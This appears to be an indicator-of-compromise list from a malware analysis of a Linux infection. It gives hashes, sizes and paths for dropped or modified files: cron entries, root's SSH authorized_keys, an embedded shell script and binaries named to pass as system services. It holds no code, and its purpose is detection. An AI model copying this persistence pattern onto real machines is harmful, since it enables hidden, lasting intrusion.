- SHA256 db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
- MD5 f668da8f0525cbe5a545869cb5776913
- SHA1 996e6afed4498ff8a92a64330de018141af102c9
- SHA512 f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
- TLSH T16890028D05189D111A545D12A371AED5818458204B4397415478028E4191192316005E
- MD5 SHA1 SHA512 TLSH
- Path /bin/pstree
- Size 56B
- SHA256 b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
- MD5 896f6d504f181bd883a90b84069bcf70
- SHA1 86fd682d1932d9e14461796e5f0fe776b8ce9d5c
- SHA512 1f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
- TLSH T1B090028D452CAD101A544D12A3712E95C08428348B4397415468028B4152192313009E
- MD5 SHA1 SHA512 TLSH
- Path /bin/top
- Size 53B
- SHA256 561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
- MD5 6956a4d6a2444151c11a73517215cb34
- SHA1 b279ad496f640f44418aa7e5e27a4d458bddb7fb
- SHA512 ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
- TLSH T11990028D05189D101A548A11A3716E99908514248987AB815069018A4141193356015E
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.d/zzh
- Size 53B
- SHA256 ff1d557b85a902fbe4d2d0b0f3e79307f1f7e6dc36c537a824e920c5e8ece2de
- MD5 3a615a3d1952b1e2c0cb584bd253f7f9
- SHA1 79465a5e611f19f140f169ac5bc3a9ab382696ef
- SHA512 8819cd4ef33fe59b8618ac7a2f116169b2effeb87f2353b674ef08c8297dbbda75112c5dd882c60b05c9cedeab0aa3dd79e06923b2a2db0cad8a3ec2b6c5532e
- TLSH T1889002B6541558466804AD289604406E084355A111953A426DCD4490461C30F0517661
- MD5 SHA1 SHA512 TLSH
- Path /etc/crontab
- Size 50B
- SHA256 e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
- MD5 b2ecca8d419b5c3fa2ee7621efa75eb7
- SHA1 3adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
- SHA512 c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
- TLSH T19B9002B6541548466804EC189605605E0843956100553A426ECD4490461830E0116621
- MD5 SHA1 SHA512 TLSH
- Path /etc/zzhs
- Size 9B
- SHA256 7e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
- MD5 970d39f8690eff0fe573e7bcf51bda9b
- SHA1 46f8f835d3d3d41f063d0e8346260bb622b01a3f
- SHA512 24952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
- MD5 SHA1 SHA512
- Path /etc/zzhs
- Size 2B
- SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
- MD5 b026324c6904b2a9cb4b88d6d61c81d1
- SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
- SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 1B
- SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
- MD5 68b329da9893e34099c7d8ad5cb9c940
- SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
- SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 557B
- SHA256 cfc3a74939edac785d66664757b3c877a7e5f4fae29b3a5bdf8b55e79573dfb5
- MD5 12bf68ad9999dcbc8bd1d9a728d600aa
- SHA1 7f302d2df5e075f879586cb0ab1dcc0b0870cc98
- SHA512 ef6a8c50fd411622eefae30bfcc962368f355ec897b0136b2290784344ce735c3b3d51feda679e3c42ab524197d6515f1f8699e17598171a1b888b0fbe5229e7
- TLSH T1D7F0412660AB00C72912188CD3308E3638CE05F2B4E4050A5414A142D2B549AC6E62FC
- MD5 SHA1 SHA512 TLSH
- Path /tmp/tmp.tyAhf3fBgN/embedded.sh
- Size 46KB
- SHA256 378297c7b1cd991b3c57c4b5d8404572c4f741048930a6a097c2f88d03d64889
- MD5 f2cee3906040db1df6d795c0e5fc0147
- SHA1 cd99312906fe89d01528b4e140c169e055e8d65c
- SHA512 cccd09d7f4b981afad13889189882f935d3e1e07a4115f3f7990c523943dcd2a6d32e85d4b8cb9be60d5b58bd390fcd64396f87f97c105fd641de6d7edaead61
- SSDEEP 768:xxlT2wDuWvWi7JFNcuFkc2zq0x3UKnicZuiR/amT8z:GwF+Lc2/FicfSmT8z
- TLSH T12423AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /usr/bin/irqbalanced
- Size 2B
- SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
- MD5 6d7fce9fee471194aa8b5b6e47267f03
- SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
- SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
- MD5 SHA1 SHA512
- Path /usr/bin/kswaped
- Size 2B
- SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
- MD5 26ab0db90d72e28ad0ba1e22ee510510
- SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
- SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
- MD5 SHA1 SHA512
- Path /usr/bin/pamdicks
- Size 2B
- SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
- MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
- SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
- SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
- MD5 SHA1 SHA512
- Path /usr/bin/rctlcli
- Size 2B
- SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
- MD5 48a24b70a0b376535542b996af517398
- SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
- SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
- MD5 SHA1 SHA512
- Path /usr/bin/systemd-network
- Size 2B
- SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
- MD5 1dcca23355272056f04fe8bf20edfce0
- SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
- SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
- MD5 SHA1 SHA512